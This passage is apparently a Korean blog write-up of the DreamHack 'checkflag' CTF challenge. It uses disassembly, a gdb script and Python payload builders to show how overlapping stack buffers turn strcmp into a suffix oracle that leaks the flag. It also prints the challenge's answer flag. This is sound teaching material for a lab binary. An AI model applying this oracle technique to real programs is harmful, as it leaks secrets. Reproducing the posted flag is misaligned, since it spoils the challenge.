[๐Ÿฅ‰ Bronze 3] ๋ฆฌํฌ๋„ ์…ธ๋„ ์—†์ด strcmp ํ•˜๋‚˜๋ฅผ ์˜ค๋ผํด๋กœ ๋ฐ”๊พธ๊ธฐ โ€” DreamHack checkflag ํ’€์ด

2026-07-28ยท1๋ถ„ ์ฝ๊ธฐยท

[๐Ÿฅ‰ Bronze 3] ๋ฆฌํฌ๋„ ์…ธ๋„ ์—†์ด strcmp ํ•˜๋‚˜๋ฅผ ์˜ค๋ผํด๋กœ ๋ฐ”๊พธ๊ธฐ โ€” DreamHack checkflag ํ’€์ด

ํ”Œ๋ž˜๊ทธ๋ฅผ ๋งžํžˆ๋ฉด Correct ๋ฅผ, ํ‹€๋ฆฌ๋ฉด Failed ๋ฅผ ๋Œ๋ ค์ฃผ๋Š” ๊ฒƒ์ด ์ „๋ถ€์ธ ๋ฐ”์ด๋„ˆ๋ฆฌ๋‹ค. ๋ฆฌํฌํ•  ํฌ์ธํ„ฐ๋„ ๋ฎ์„ ๋ฆฌํ„ด ์ฃผ์†Œ๋„ ์—†๋‹ค. ๊ทธ๋Ÿฐ๋ฐ main ์ด flag ๋ฅผ ๋‹ด๋Š” ๋ฒ„ํผ์™€ ์šฐ๋ฆฌ๊ฐ€ ์ž…๋ ฅํ•˜๋Š” ๋ฒ„ํผ๋ฅผ ๊ฐ™์€ ์Šคํƒ ์˜์—ญ์— 0x40 ๊ฐ„๊ฒฉ์œผ๋กœ ๋‚˜๋ž€ํžˆ ๋†“๊ณ , read ๋Š” ๊ทธ๋ณด๋‹ค ํ›จ์”ฌ ๊ธด 0xc8 ๋ฐ”์ดํŠธ๋ฅผ ๋ฐ›๋Š”๋‹ค. 0x40+d ๋ฐ”์ดํŠธ๋ฅผ ๋ณด๋‚ด๋ฉด flag ์•ž d ๊ธ€์ž๊ฐ€ ๋‚ด ๋ฐ”์ดํŠธ๋กœ ๋ฎ์ด๊ณ , ๊ทธ ์ƒํƒœ์˜ strcmp ๋Š” "flag ์˜ ๋‚จ์€ ๋’ท๋ถ€๋ถ„์ด ์ด๊ฑฐ ๋งž์•„?" ๋ผ๋Š” ์ ‘๋ฏธ์‚ฌ ์˜ค๋ผํด์ด ๋œ๋‹ค. ๋’ค์—์„œ๋ถ€ํ„ฐ ํ•œ ๊ธ€์ž์”ฉ ๋ฌผ์–ด๋ณด๋ฉด 16๊ธ€์ž๊ฐ€ 16์ดˆ ๋งŒ์— ๋‚˜์˜จ๋‹ค.

๋ฌธ์ œ: DreamHack โ€” checkflag ๋ถ„๋ฅ˜: Pwnable + Reversing ๋‚œ์ด๋„: ๐Ÿฅ‰ Bronze 3 FLAG: DH{RHP1_ZPWR2G!}


๋ฌธ์ œ ๊ฐœ์š”

๋ฐฐํฌ๋ฌผcheckflag (ELF64 PIE, not stripped, 8,584 B)
์„œ๋ฒ„ํ•„์š” (needs_vm: true โ€” ์ง„์งœ flag ๋Š” ์›๊ฒฉ ํŒŒ์ผ์—๋งŒ ์žˆ๋‹ค)
ํ•ต์‹ฌ ๊ธฐ๋ฒ•์Šคํƒ ๋ฒ„ํผ ๊ฒน์นจ โ†’ strcmp ๋ฅผ ์ ‘๋ฏธ์‚ฌ ์ผ์น˜ ์˜ค๋ผํด๋กœ ์ „ํ™˜

๋ฌธ์ œ ์„ค๋ช…์€ ์งง๋‹ค. ํ”Œ๋ž˜๊ทธ๋ฅผ ์ž…๋ ฅํ•˜๋ฉด ๋งž์•˜๋Š”์ง€ ์•Œ๋ ค์ฃผ๊ณ , flag ๋Š” DH{...} ํ˜•์‹์— ์ถœ๋ ฅ ๊ฐ€๋Šฅํ•œ ASCII(0x20~0x7e)๋งŒ ์“ด๋‹ค๊ณ  ํ•œ๋‹ค.

ํŒŒ์ผ๋กœ ์ฃผ๋Š” ๋ฐ”์ด๋„ˆ๋ฆฌ์—๋Š” ์ง„์งœ flag ๊ฐ€ ์—†๋‹ค. ๊ฐ™์€ ํด๋”์˜ flag ํŒŒ์ผ์„ ์ฝ์–ด ๋น„๊ตํ•  ๋ฟ์ด๋ผ ๋กœ์ปฌ์—์„œ๋Š” ๊ฐ€์งœ flag ๋ฅผ ๋‘๊ณ  ๊ธฐ๋ฒ•๋งŒ ๊ฒ€์ฆํ•˜๊ณ , ์‹ค์ œ ๊ฐ’์€ ์›๊ฒฉ ์„œ๋ฒ„์—์„œ ๋ฝ‘์•„์•ผ ํ•œ๋‹ค.

1. ์ •์ฐฐ

๋ฐฐํฌ๋œ zip ์„ ํ’€๋ฉด checkflag ํ•˜๋‚˜๊ฐ€ ๋‚˜์˜จ๋‹ค. ๋จผ์ € ๋ฌด์—‡์ธ์ง€๋ถ€ํ„ฐ ๋ณธ๋‹ค.

cd extracted
file checkflag && checksec --file=checkflag

file ๊ณผ checksec ์œผ๋กœ ๋ณธ checkflag โ€” ELF64 PIE, ๋™์  ๋งํฌ, Full RELRO, ์นด๋‚˜๋ฆฌ ์žˆ์Œ, not stripped
file ๊ณผ checksec ์œผ๋กœ ๋ณธ checkflag โ€” ELF64 PIE, ๋™์  ๋งํฌ, Full RELRO, ์นด๋‚˜๋ฆฌ ์žˆ์Œ, not stripped

PIE ์— not stripped. ์‹ฌ๋ณผ์ด ๋‚จ์•„ ์žˆ์–ด main ์„ ๋ฐ”๋กœ ์ฐพ์„ ์ˆ˜ ์žˆ๋‹ค.

์ด ๋ฌธ์ œ๋Š” ๋ณดํ˜ธ ๊ธฐ๋ฒ•์„ ์šฐํšŒํ•  ํ•„์š”๊ฐ€ ์—†๋‹ค. ์Šคํƒ์„ ๋„˜์–ด ๋ฆฌํ„ด ์ฃผ์†Œ๋ฅผ ๋ฎ๋Š” ๊ณต๊ฒฉ์ด ์•„๋‹ˆ๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค. read ๊ฐ€ ๋ฐ›๋Š” ๊ธธ์ด๋„ ์Šคํƒ ์นด๋‚˜๋ฆฌ ์•ž์—์„œ ์ •ํ™•ํžˆ ๋Š๊ธด๋‹ค โ€” ๋’ค์—์„œ ๋ณด๊ฒ ์ง€๋งŒ ์˜๋„์ ์œผ๋กœ ๋”ฑ ๊ทธ๋งŒํผ๋งŒ ๋ฐ›๋Š”๋‹ค.

์–ด๋””๋ถ€ํ„ฐ ๋ณผ ๊ฒƒ์ธ๊ฐ€

not stripped ๋ผ ์‹ฌ๋ณผ์ด ๋‹ค ๋‚จ์•„ ์žˆ์ง€๋งŒ, ๊ทธ๋ ‡๋‹ค๊ณ  ์ „๋ถ€ ์ฝ์„ ํ•„์š”๋Š” ์—†๋‹ค. ์ด๋Ÿฐ "์ž…๋ ฅ์„ ๋ฐ›์•„ ํŒ์ •๋งŒ ํ•˜๋Š”" ๋ฐ”์ด๋„ˆ๋ฆฌ๋Š” ์–ด๋–ค ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ํ•จ์ˆ˜๋ฅผ ๋ถ€๋ฅด๋Š”์ง€๋งŒ ๋ด๋„ ๊ตฌ์กฐ๊ฐ€ ๊ฑฐ์˜ ๋“œ๋Ÿฌ๋‚œ๋‹ค.

PLT ๋ฅผ ํ›‘์œผ๋ฉด fopen ยท fgets ยท fclose ยท fputs ยท fflush ยท read ยท strcmp ๊ฐ€ ์ „๋ถ€๋‹ค. ์—ฌ๊ธฐ์„œ ์ฝํžˆ๋Š” ์ด์•ผ๊ธฐ๊ฐ€ ์žˆ๋‹ค.

  • fopen + fgets + fclose โ†’ ํŒŒ์ผ์—์„œ ํ•œ ์ค„์„ ์ฝ๋Š”๋‹ค. ๊ทธ๊ฒŒ flag ์ผ ๊ฒƒ์ด๋‹ค
  • read โ†’ ํ‘œ์ค€ ์ž…๋ ฅ์—์„œ ์šฐ๋ฆฌ ์ž…๋ ฅ์„ ๋ฐ›๋Š”๋‹ค. fgets ๊ฐ€ ์•„๋‹ˆ๋ผ read ์ธ ๊ฒŒ ๋ˆˆ์— ๋ˆ๋‹ค. ๊ฐœํ–‰์—์„œ ๋Š๊ธฐ์ง€ ์•Š๊ณ  ์ง€์ •ํ•œ ๊ธธ์ด๋งŒํผ ํ†ต์งธ๋กœ ๋ฐ›๋Š”๋‹ค๋Š” ๋œป์ด๋‹ค
  • strcmp โ†’ ๋ฌธ์ž์—ด ๋น„๊ต ํ•œ ๋ฒˆ. ํŒ์ •์€ ์—ฌ๊ธฐ์„œ ๋๋‚œ๋‹ค

memcmp ๋„ strncmp ๋„ ์•„๋‹ˆ๊ณ  strcmp ๋ผ๋Š” ์ ์ด ์ค‘์š”ํ•˜๋‹ค. strcmp ๋Š” NUL ์„ ๋งŒ๋‚˜๋ฉด ๋ฉˆ์ถ˜๋‹ค. ์ฆ‰ ์šฐ๋ฆฌ๊ฐ€ ์ž…๋ ฅ ์–ด๋”˜๊ฐ€์— NUL ์„ ์‹ฌ์œผ๋ฉด ๋น„๊ต ๋Œ€์ƒ์˜ ๋์„ ์šฐ๋ฆฌ๊ฐ€ ์ •ํ•  ์ˆ˜ ์žˆ๋‹ค. ์ด ์„ฑ์งˆ์ด ๋’ค์—์„œ ์˜ค๋ผํด์„ ๋งŒ๋“œ๋Š” ์žฌ๋ฃŒ๊ฐ€ ๋œ๋‹ค.

2. main ์ด ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ์–ด๋–ป๊ฒŒ ์“ฐ๋Š”๊ฐ€

objdump ๋กœ main ์•ž๋ถ€๋ถ„์„ ๋ณธ๋‹ค. ๋ˆˆ์œผ๋กœ ๋”ฐ๋ผ๊ฐ€๊ธฐ ์–ด๋ ค์›Œ์„œ ํ•ต์‹ฌ ์„ธ ์ค„์—๋Š” sed ๋กœ ์ฃผ์„์„ ์–น์—ˆ๋‹ค(annotate_main.sed). ๋””์Šค์–ด์…ˆ๋ธ” ์›๋ฌธ์€ objdump ์ถœ๋ ฅ ๊ทธ๋Œ€๋กœ๊ณ , ; ๋’ค๊ฐ€ ๋‚ด๊ฐ€ ๋ถ™์ธ ๊ฒƒ์ด๋‹ค.

s|mov    rbx,rsp$|&                   ; rbx = ์ž…๋ ฅ ๋ฒ„ํผ (rsp+0x00)|
s|rep stos DWORD PTR \[rdi\],eax|&  ; 0xc8 ๋ฐ”์ดํŠธ ์ „๋ถ€ 0 ์œผ๋กœ|
s|lea    rbp,\[rbx+0x40\]$|&           ; โ˜…rbp = flag ๋ฒ„ํผ = ์ž…๋ ฅ ๋ฒ„ํผ + 0x40|
objdump -d -M intel --start-address=0x7f7 --stop-address=0x830 extracted/checkflag \
  | sed -n '8,26p' | sed -f annotate_main.sed

main ์•ž๋ถ€๋ถ„ ๋””์Šค์–ด์…ˆ๋ธ”์— ์ฃผ์„์„ ์–น์—ˆ๋‹ค โ€” rbx ๊ฐ€ ์ž…๋ ฅ ๋ฒ„ํผ, rbp = rbx+0x40 ์ด flag ๋ฒ„ํผ
main ์•ž๋ถ€๋ถ„ ๋””์Šค์–ด์…ˆ๋ธ”์— ์ฃผ์„์„ ์–น์—ˆ๋‹ค โ€” rbx ๊ฐ€ ์ž…๋ ฅ ๋ฒ„ํผ, rbp = rbx+0x40 ์ด flag ๋ฒ„ํผ

์„ธ ์ค„์ด ์ „๋ถ€๋‹ค.

mov  rbx, rsp              ; rbx = ์Šคํƒ ๋ฒ„ํผ ์‹œ์ž‘
rep stos DWORD PTR [rdi]   ; 0xc8 ๋ฐ”์ดํŠธ๋ฅผ 0 ์œผ๋กœ ๋ฐ€๊ณ 
lea  rbp, [rbx+0x40]       ; rbp = rbx + 0x40

๊ทธ๋ฆฌ๊ณ  fopen("flag","r") โ†’ fgets(rbp, 0x40, f) ๋กœ flag ๋ฅผ rbx+0x40 ์— ์ ์žฌํ•œ๋‹ค.

์ด์ œ ์ž…๋ ฅ์„ ๋ฐ›๋Š” ์ชฝ์„ ๋ณธ๋‹ค.

read ์™€ strcmp ๊ตฌ๊ฐ„ โ€” read ๋Š” rbx ์— 0xc8 ๋ฐ”์ดํŠธ๋ฅผ ๋ฐ›๊ณ , strcmp ๋Š” rbx ์™€ rbp ๋ฅผ ๋น„๊ตํ•œ๋‹ค
read ์™€ strcmp ๊ตฌ๊ฐ„ โ€” read ๋Š” rbx ์— 0xc8 ๋ฐ”์ดํŠธ๋ฅผ ๋ฐ›๊ณ , strcmp ๋Š” rbx ์™€ rbp ๋ฅผ ๋น„๊ตํ•œ๋‹ค

mov  edx, 0xc8             ; 200 ๋ฐ”์ดํŠธ๊นŒ์ง€ ๋ฐ›๋Š”๋‹ค
mov  rsi, rbx              ; ๋ชฉ์ ์ง€๋Š” rbx โ€” flag ๋ฒ„ํผ๋ณด๋‹ค 0x40 ์•ž
call read
 
repnz scas                 ; strlen(flag ๋ฒ„ํผ)
cmp  rax, rdx              ; ์ž…๋ ฅ ๊ธธ์ด๋ณด๋‹ค ๊ธธ๋ฉด Failed
call strcmp                ; strcmp(rbx, rbp)

๋‘ ๋ฒ„ํผ๊ฐ€ ๊ฐ™์€ 200๋ฐ”์ดํŠธ ์˜์—ญ์„ 0x40 ๊ฐ„๊ฒฉ์œผ๋กœ ๊ณต์œ ํ•œ๋‹ค. ๊ทธ๋Ÿฐ๋ฐ ์ž…๋ ฅ์€ 0x40 ์„ ํ›Œ์ฉ ๋„˜๋Š” 0xc8 ๋ฐ”์ดํŠธ๊นŒ์ง€ ๋ฐ›๋Š”๋‹ค. ์ฆ‰ 0x40 ๋ฐ”์ดํŠธ๋ฅผ ๋„˜๊ฒจ ๋ณด๋‚ด๋ฉด ๊ทธ ๋’ค๋Š” flag ์œ„์— ์“ฐ์ธ๋‹ค.

fgets ๊ฐ€ ์ตœ๋Œ€ 0x40 ๋ฐ”์ดํŠธ๋ฅผ ์ฝ์œผ๋ฏ€๋กœ flag ๋Š” rbx+0x40 ~ rbx+0x7f ๋ฅผ ์“ฐ๊ณ , ์ž…๋ ฅ์€ rbx+0x00 ~ rbx+0xc7 ์„ ์“ด๋‹ค. ๊ฒน์น˜๋Š” ๊ตฌ๊ฐ„์ด flag ์ „์ฒด๋‹ค.

๊ทธ๋ฆผ์œผ๋กœ ๋†“์œผ๋ฉด ์ด๋ ‡๋‹ค.

        rbx+0x00                rbx+0x40                rbx+0x7f      rbx+0xc8
           |                       |                       |             |
์ž…๋ ฅ read  [=======================|=======================|=============]  0xc8 ๋ฐ”์ดํŠธ
flag fgets                         [=======================]                0x40 ๋ฐ”์ดํŠธ
                                   โ†‘
                        ์—ฌ๊ธฐ๋ถ€ํ„ฐ ์šฐ๋ฆฌ๊ฐ€ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ๋‹ค

read ๊ฐ€ rbx ๋ถ€ํ„ฐ ์ฑ„์šฐ๋ฏ€๋กœ 0x40 ๋ฒˆ์งธ ๋ฐ”์ดํŠธ๋ถ€ํ„ฐ๊ฐ€ ๊ณง flag ์˜ ์ฒซ ๊ธ€์ž ์ž๋ฆฌ๋‹ค. 0x40 ๋ฐ”์ดํŠธ๋งŒ ๋ณด๋‚ด๋ฉด flag ๋Š” ๋ฉ€์ฉกํ•˜๊ณ , 0x41 ๋ฐ”์ดํŠธ๋ฅผ ๋ณด๋‚ด๋ฉด flag ์ฒซ ๊ธ€์ž๊ฐ€ ๋ฐ”๋€๋‹ค.

์ •๋ง ๊ฒน์น˜๋Š”์ง€ gdb ๋กœ ํ™•์ธ

๋””์Šค์–ด์…ˆ๋ธ”๋ฆฌ๋งŒ ๋ณด๊ณ  "๊ฒน์นœ๋‹ค"๊ณ  ๋‹จ์ •ํ•˜๊ณ  ์‹ถ์ง€๋Š” ์•Š์•˜๋‹ค. main ์•ˆ์˜ strcmp ํ˜ธ์ถœ ์ง€์ ์— ๋ธŒ๋ ˆ์ดํฌ๋ฅผ ๊ฑธ๊ณ  ๋‘ ์ธ์ž์˜ ์ฃผ์†Œ๋ฅผ ์ง์ ‘ ์ฐ์—ˆ๋‹ค. ์ž…๋ ฅ์œผ๋กœ๋Š” d=4 ์งœ๋ฆฌ ํŽ˜์ด๋กœ๋“œ ('A'*4 + "GUESS" + NUL ํŒจ๋”ฉ + 'A'*4, ์ด 0x44 ๋ฐ”์ดํŠธ)๋ฅผ ๋„ฃ์—ˆ๋‹ค.

๋จผ์ € ๊ทธ ์ž…๋ ฅ์„ ํŒŒ์ผ๋กœ ๋งŒ๋“ ๋‹ค. read ๋กœ ๋ฐ›์œผ๋ฏ€๋กœ ๋ฆฌ๋‹ค์ด๋ ‰ํŠธ๋กœ ๋จน์ด๋ฉด ๋œ๋‹ค.

python3 -c "
import sys
d = 4
p = b'A'*d + b'GUESS'
p = p + b'\x00'*(0x40 - len(p)) + b'A'*d
sys.stdout.buffer.write(p)" > payload_d4.bin

cmds.gdb ๋Š” ์ด๋ ‡๊ฒŒ ์ผ๋‹ค. ์ถœ๋ ฅ์— ๋ณด์ด๋Š” ํ•œ๊ธ€ ์ค„์€ ์ „๋ถ€ ์•„๋ž˜ printf ๊ฐ€ ์ฐ๋Š” ๊ฒƒ์ด๋‹ค โ€” gdb ๊ฐ€ ์•Œ์•„์„œ ํ•ด ์ฃผ๋Š” ๊ฒŒ ์•„๋‹ˆ๋ผ ๋‚ด๊ฐ€ ์ฝ๊ธฐ ํŽธํ•˜๋ผ๊ณ  ๋ผ๋ฒจ์„ ๋ถ™์ธ ๊ฒƒ์ด๋‹ค.

set pagination off
set confirm off
break *(main+0xbd)
run < payload_d4.bin
printf "\n=== main ์•ˆ strcmp ํ˜ธ์ถœ ์ง์ „ ===\n"
printf "arg1 rdi (์ž…๋ ฅ ๋ฒ„ํผ) = %p\n", $rdi
printf "arg2 rsi (flag ๋ฒ„ํผ) = %p\n", $rsi
printf "๊ฐ„๊ฒฉ rsi - rdi       = 0x%lx  <-- 0x40 ์ด๋ฉด ๊ฒน์นจ ํ™•์ •\n", (unsigned long)$rsi-(unsigned long)$rdi
printf "์ž…๋ ฅ ๋ฒ„ํผ ๋‚ด์šฉ        = %s\n", (char *)$rdi
printf "flag ๋ฒ„ํผ ๋‚ด์šฉ        = %s  <-- ์•ž 4๋ฐ”์ดํŠธ๊ฐ€ A ๋กœ ๋ฎ์˜€๋‹ค\n", (char *)$rsi
quit

main+0xbd ๋Š” strcmp ํ˜ธ์ถœ ์ง์ „ ๋ช…๋ น์˜ ์˜คํ”„์…‹์ด๋‹ค. PIE ๋ผ ์ ˆ๋Œ€์ฃผ์†Œ๊ฐ€ ์‹คํ–‰๋งˆ๋‹ค ๋ฐ”๋€Œ๋ฏ€๋กœ ์ˆซ์ž๋ฅผ ๊ทธ๋Œ€๋กœ ๋ฏฟ์ง€ ๋ง๊ณ  objdump -d extracted/checkflag ์—์„œ call ... <strcmp@plt> ๋ฐ”๋กœ ์•ž ๋ช…๋ น์˜ main ๊ธฐ์ค€ ์˜คํ”„์…‹์„ ์ง์ ‘ ํ™•์ธํ•ด ๋„ฃ๋Š”๋‹ค. *(main+์˜คํ”„์…‹) ์œผ๋กœ ์žก์œผ๋ฉด ๋กœ๋“œ ๋ฒ ์ด์Šค๋Š” gdb ๊ฐ€ ๋”ํ•ด ์ค€๋‹ค.

cd local && gdb -q -batch -x cmds.gdb ./checkflag 2>&1 | tail -11

gdb ๋กœ strcmp ํ˜ธ์ถœ ์ง์ „์„ ์žก์€ ํ™”๋ฉด โ€” rsi-rdi ๊ฐ€ ์ •ํ™•ํžˆ 0x40 ์ด๊ณ  flag ๋ฒ„ํผ ์•ž 4๋ฐ”์ดํŠธ๊ฐ€ AAAA ๋กœ ๋ฎ์˜€๋‹ค
gdb ๋กœ strcmp ํ˜ธ์ถœ ์ง์ „์„ ์žก์€ ํ™”๋ฉด โ€” rsi-rdi ๊ฐ€ ์ •ํ™•ํžˆ 0x40 ์ด๊ณ  flag ๋ฒ„ํผ ์•ž 4๋ฐ”์ดํŠธ๊ฐ€ AAAA ๋กœ ๋ฎ์˜€๋‹ค

arg1 rdi (์ž…๋ ฅ ๋ฒ„ํผ) = 0x7fffffffd5d0
arg2 rsi (flag ๋ฒ„ํผ) = 0x7fffffffd610
๊ฐ„๊ฒฉ rsi - rdi       = 0x40
์ž…๋ ฅ ๋ฒ„ํผ ๋‚ด์šฉ        = AAAAGUESS
flag  ๋ฒ„ํผ ๋‚ด์šฉ       = AAAA0cal_t3st_fl4g_for_checkflag_5678}

๊ฐ€์งœ flag ๋Š” ์›๋ž˜ DH{l0cal_t3st_... ์ธ๋ฐ, ์•ž 4๊ธ€์ž DH{l ์ด ๋‚ด๊ฐ€ ๋ณด๋‚ธ AAAA ๋กœ ๋ฐ”๋€Œ์–ด ์žˆ๋‹ค. ๊ฒน์นจ์ด ์‹ค์ธก์œผ๋กœ ํ™•์ธ๋๋‹ค.

read ๊ฐ€ ์™œ ํ•˜ํ•„ 0xc8 ์ธ๊ฐ€

์ด ์ˆซ์ž๋ฅผ ๊ทธ๋ƒฅ ๋„˜๊ธฐ์ง€ ์•Š๋Š” ๊ฒŒ ์ข‹๋‹ค. main ํ”„๋กค๋กœ๊ทธ๋ฅผ ๋ณด๋ฉด sub rsp, 0xd0 ์œผ๋กœ 208๋ฐ”์ดํŠธ๋ฅผ ์žก๊ณ , mov QWORD PTR [rsp+0xc8], rax ๋กœ rsp+0xc8 ์— ์Šคํƒ ์นด๋‚˜๋ฆฌ๋ฅผ ๋„ฃ๋Š”๋‹ค. ๊ทธ๋ฆฌ๊ณ  rep stos ๊ฐ€ ๋ฏธ๋Š” ๋ฒ”์œ„๋„, read ๊ฐ€ ๋ฐ›๋Š” ๊ธธ์ด๋„ ์ •ํ™•ํžˆ 0xc8 ์ด๋‹ค.

main ํ”„๋กค๋กœ๊ทธ ๋””์Šค์–ด์…ˆ๋ธ” โ€” sub rsp,0xd0 ์œผ๋กœ 208๋ฐ”์ดํŠธ๋ฅผ ์žก๊ณ  rsp+0xc8 ์— ์Šคํƒ ์นด๋‚˜๋ฆฌ๋ฅผ ๋„ฃ๋Š”๋‹ค
main ํ”„๋กค๋กœ๊ทธ ๋””์Šค์–ด์…ˆ๋ธ” โ€” sub rsp,0xd0 ์œผ๋กœ 208๋ฐ”์ดํŠธ๋ฅผ ์žก๊ณ  rsp+0xc8 ์— ์Šคํƒ ์นด๋‚˜๋ฆฌ๋ฅผ ๋„ฃ๋Š”๋‹ค

์ฆ‰ ์ด ํ”„๋กœ๊ทธ๋žจ์€ ์นด๋‚˜๋ฆฌ ์ง์ „๊นŒ์ง€ ๊ฝ‰ ์ฑ„์›Œ ๋ฐ›๋˜ ์นด๋‚˜๋ฆฌ๋Š” ๊ฑด๋“œ๋ฆฌ์ง€ ์•Š๋„๋ก ์„ค๊ณ„๋ผ ์žˆ๋‹ค. ๋ฆฌํ„ด ์ฃผ์†Œ๋ฅผ ๋ฎ๋Š” ๊ณ ์ „์ ์ธ ์Šคํƒ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋Š” ์ฒ˜์Œ๋ถ€ํ„ฐ ๋ง‰ํ˜€ ์žˆ๋‹ค๋Š” ๋œป์ด๊ณ , ์ถœ์ œ์ž๊ฐ€ "์ด์ชฝ์ด ์•„๋‹ˆ๋ผ ๋‹ค๋ฅธ ๊ฑธ ๋ณด๋ผ"๊ณ  ์„ ์„ ๊ทธ์–ด ๋‘” ์…ˆ์ด๋‹ค.

๊ทธ๋ž˜์„œ ์ด ๋ฌธ์ œ์˜ ๋‹ต์€ ๊ฒฝ๊ณ„๋ฅผ ๋„˜๋Š” ๊ฒƒ์ด ์•„๋‹ˆ๋ผ ๊ฒฝ๊ณ„ ์•ˆ์—์„œ ๋‘ ๋ฒ„ํผ๊ฐ€ ๊ฒน์น˜๋Š” ๊ฒƒ์ด๋‹ค. ๋ฐ›์„ ์ˆ˜ ์žˆ๋Š” 200๋ฐ”์ดํŠธ๋Š” ์ „๋ถ€ ํ•ฉ๋ฒ•์ ์ธ ์ž…๋ ฅ ์˜์—ญ์ธ๋ฐ, ๊ทธ ์•ˆ์— flag ๊ฐ€ ๊ฐ™์ด ์‚ด๊ณ  ์žˆ๋‹ค.

3. strcmp ๋ฅผ ์˜ค๋ผํด๋กœ ๋ฐ”๊พธ๊ธฐ

์—ฌ๊ธฐ์„œ ํ•œ ๊ฑธ์Œ ๋” ๋‚˜๊ฐ€์•ผ ํ•œ๋‹ค. ๊ฒน์นœ๋‹ค๋Š” ๊ฒƒ๋งŒ์œผ๋กœ๋Š” flag ๋ฅผ ์ฝ์„ ์ˆ˜ ์—†๋‹ค. strcmp ๋Š” ๊ฐ™๋‹ค/๋‹ค๋ฅด๋‹ค ํ•œ ๋น„ํŠธ๋งŒ ์•Œ๋ ค์ฃผ๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค. ๊ทธ ํ•œ ๋น„ํŠธ๋กœ ๋ฌด์—‡์„ ๋ฌผ์–ด๋ณผ ์ˆ˜ ์žˆ๋Š”์ง€๊ฐ€ ๊ด€๊ฑด์ด๋‹ค.

0x40 + d ๋ฐ”์ดํŠธ๋ฅผ ๋ณด๋‚ธ๋‹ค๊ณ  ํ•˜์ž. ๋’ค์ชฝ d ๋ฐ”์ดํŠธ๊ฐ€ flag ์•ž๋จธ๋ฆฌ๋ฅผ ๋ฎ์œผ๋ฏ€๋กœ, strcmp ๊ฐ€ ๋น„๊ตํ•˜๋Š” ๋‘ ๋ฌธ์ž์—ด์€ ์ด๋ ‡๊ฒŒ ๋œ๋‹ค.

๋‚ด์šฉ
์ขŒ๋ณ€ (์ž…๋ ฅ ๋ฒ„ํผ)๋‚ด๊ฐ€ ๋ณด๋‚ธ ์•ž๋ถ€๋ถ„์—์„œ ์ฒซ NUL ์•ž๊นŒ์ง€
์šฐ๋ณ€ (flag ๋ฒ„ํผ)K + flag[d:] โ€” ์—ฌ๊ธฐ์„œ K ๋Š” ๋‚ด๊ฐ€ ๋ฎ์€ d ๋ฐ”์ดํŠธ

์šฐ๋ณ€์˜ K ๋Š” ๋‚ด๊ฐ€ ์ •ํ•œ ๊ฐ’์ด๋ผ ์ด๋ฏธ ์•ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‹ˆ ์ขŒ๋ณ€์„ K + ์ถ”์ธก ์œผ๋กœ ๋งŒ๋“ค๊ณ  NUL ๋กœ ๋Š์œผ๋ฉด, strcmp ์˜ ๊ฒฐ๊ณผ๋Š” ๊ณง "flag[d:] ๊ฐ€ ๋‚ด ์ถ”์ธก๊ณผ ๊ฐ™์€๊ฐ€?" ๊ฐ€ ๋œ๋‹ค.

d ๋ฅผ ํฌ๊ฒŒ ์žก์„์ˆ˜๋ก ๋‚จ๋Š” ๊ผฌ๋ฆฌ๊ฐ€ ์งง์•„์ง€๋ฏ€๋กœ, ๋’ค์—์„œ๋ถ€ํ„ฐ ํ•œ ๊ธ€์ž์”ฉ ์ขํ˜€ ๋‚˜๊ฐˆ ์ˆ˜ ์žˆ๋‹ค.

์ •๋ง ๊ทธ๋Ÿฐ์ง€ ์„œ๋ฒ„ ์—†์ด ํ™•์ธํ•˜๊ณ  ์‹ถ์–ด์„œ, ํŽ˜์ด๋กœ๋“œ์™€ ๊ทธ๋•Œ์˜ ๋‘ ๋ฌธ์ž์—ด์„ ๊ทธ๋Œ€๋กœ ์ฐ๋Š” ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋”ฐ๋กœ ๋งŒ๋“ค์—ˆ๋‹ค. tools_oracle_demo.py ์ „๋ฌธ์ด๋‹ค โ€” ์•„๋ž˜ ์ถœ๋ ฅ์˜ ํ•œ๊ธ€์€ ์ „๋ถ€ ์ด print ๊ฐ€ ์ฐ๋Š”๋‹ค.

#!/usr/bin/env python3
"""์˜ค๋ผํด์ด ์™œ ์„ฑ๋ฆฝํ•˜๋Š”์ง€ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ง์ ‘ ์ฐ์–ด ๋ณธ๋‹ค."""
BUF = 0x40
 
def build(d, guess):
    K = b"A" * d                         # flag ์•ž d๋ฐ”์ดํŠธ๋ฅผ ๋ฎ์„ ์•Œ๋ ค์ง„ ๋ฐ”์ดํŠธ
    A = K + guess                        # strcmp ์ขŒ๋ณ€์— ๋†“์„ ๊ธฐ๋Œ€ ๋ฌธ์ž์—ด
    head = A + b"\x00" * (BUF - len(A))  # NUL ๋กœ ๋Š๋Š”๋‹ค
    return head + K                      # ์ด 0x40 + d
 
flag = b"DH{ABCDEF}"                     # ์„ค๋ช…์šฉ ๊ฐ€์งœ flag
for d in (0, 3, 7):
    p = build(d, b"?")
    left  = p[:p.index(b"\x00")]                     # strcmp ์ขŒ๋ณ€
    right = b"A" * d + flag[d:]                      # ๋ฎ์ธ ๋’ค์˜ flag ๋ฒ„ํผ
    print(f"d={d}  ๋ณด๋‚ธ๊ธธ์ด={len(p):3d}  ์ขŒ๋ณ€={left!r:14}  ์šฐ๋ณ€(flag๋ฒ„ํผ)={right!r}")
    print(f"        โ†’ ๋ฌผ์–ด๋ณด๋Š” ๊ฒƒ: flag[{d}:] ๊ฐ€ '?' ์ธ๊ฐ€?   ๋‚จ์€ ๋ถ€๋ถ„={flag[d:]!r}")
python3 tools_oracle_demo.py

tools_oracle_demo.py ์ถœ๋ ฅ โ€” d ๋ฅผ 0ยท3ยท7 ๋กœ ๋Š˜๋ ค ๊ฐ€๋ฉฐ ๋ณด๋‚ธ ๊ธธ์ด์™€ ์ขŒ๋ณ€ยท์šฐ๋ณ€์„ ๋‚˜๋ž€ํžˆ ์ฐ์—ˆ๋‹ค. d ๊ฐ€ ์ปค์งˆ์ˆ˜๋ก strcmp ๊ฐ€ ๋ฌป๋Š” flag ๊ผฌ๋ฆฌ๊ฐ€ ์งง์•„์ง„๋‹ค
